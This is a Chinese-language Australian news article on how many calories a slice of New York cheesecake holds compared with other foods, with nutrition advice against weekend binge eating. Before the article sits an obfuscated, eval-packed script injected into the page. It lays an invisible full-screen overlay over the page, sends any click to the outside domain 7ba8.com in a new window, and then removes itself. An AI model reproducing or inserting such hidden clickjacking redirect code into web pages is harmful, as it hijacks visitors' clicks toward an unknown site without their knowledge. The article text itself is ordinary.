<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>【今日澳洲1月20日讯】在竭尽全力保持满意的身材后，决定吃一块芝士蛋糕？但是你最喜欢的甜点，含有的热量却和半天的膳食一样多。
据《每日邮报》报道，悉尼科学营养项目Equationship的创始人Jade Spooner和Amal Wakim用图表展示了这些对比，以显示不同食物中卡路里的确切含量，结果可能会让你大吃一惊。
在一篇名为“这个还是那个”的Instagram帖子中，你可以发现，一块纽约烤芝士蛋糕（900卡路里）的热量，相当于3种食物（900卡路里），其中包括炸鱼薯条配沙拉、Nutella ricotta肉饼和香蕉太妃派（banoffee pie）。
但是，享用你最喜欢的甜点并没有什么不好，身体并不会判断食物是好是坏，相反，食物只是被视为蛋白质、脂肪和碳水化合物。
两人说：“虽然有些食物热量更高，营养也不如其他食物丰富，但这并没有什么，它只是意味着热量更高。”
健康专家表示，所以如果你想减肥，就需要关注你的摄取和消耗。
Jade解释说：“这一切都是为了更清楚每天的消耗，并进行补偿，这样就可以避免热量过剩。”
她说：“对许多节食者来说，典型周期是，周一到周五吃得非常健康，饮食非常严格，以满足运动和塑身的需求。但周末到来时，像奶酪蛋糕这样的食物就会经常出现，更有可能出现高热量的狂饮，而不仅仅是一份甜点。”
他们敦促节食者，在工作日时要更加注意“限制饮食”的问题，因为这往往会导致周末的暴饮暴食，不要把自己一周都“押注”在周末，每日摄入量是平时两倍或三倍，这是在惩罚自己。
不管是奶酪蛋糕、酒精还是巧克力，关键是保持一种更平衡的方法，并把它们作为灵活饮食的一部分，而不是周末的暴饮暴食。
更多精彩澳闻，请点击跳转澳闻频道阅读>>
（Vanessa） |
收藏
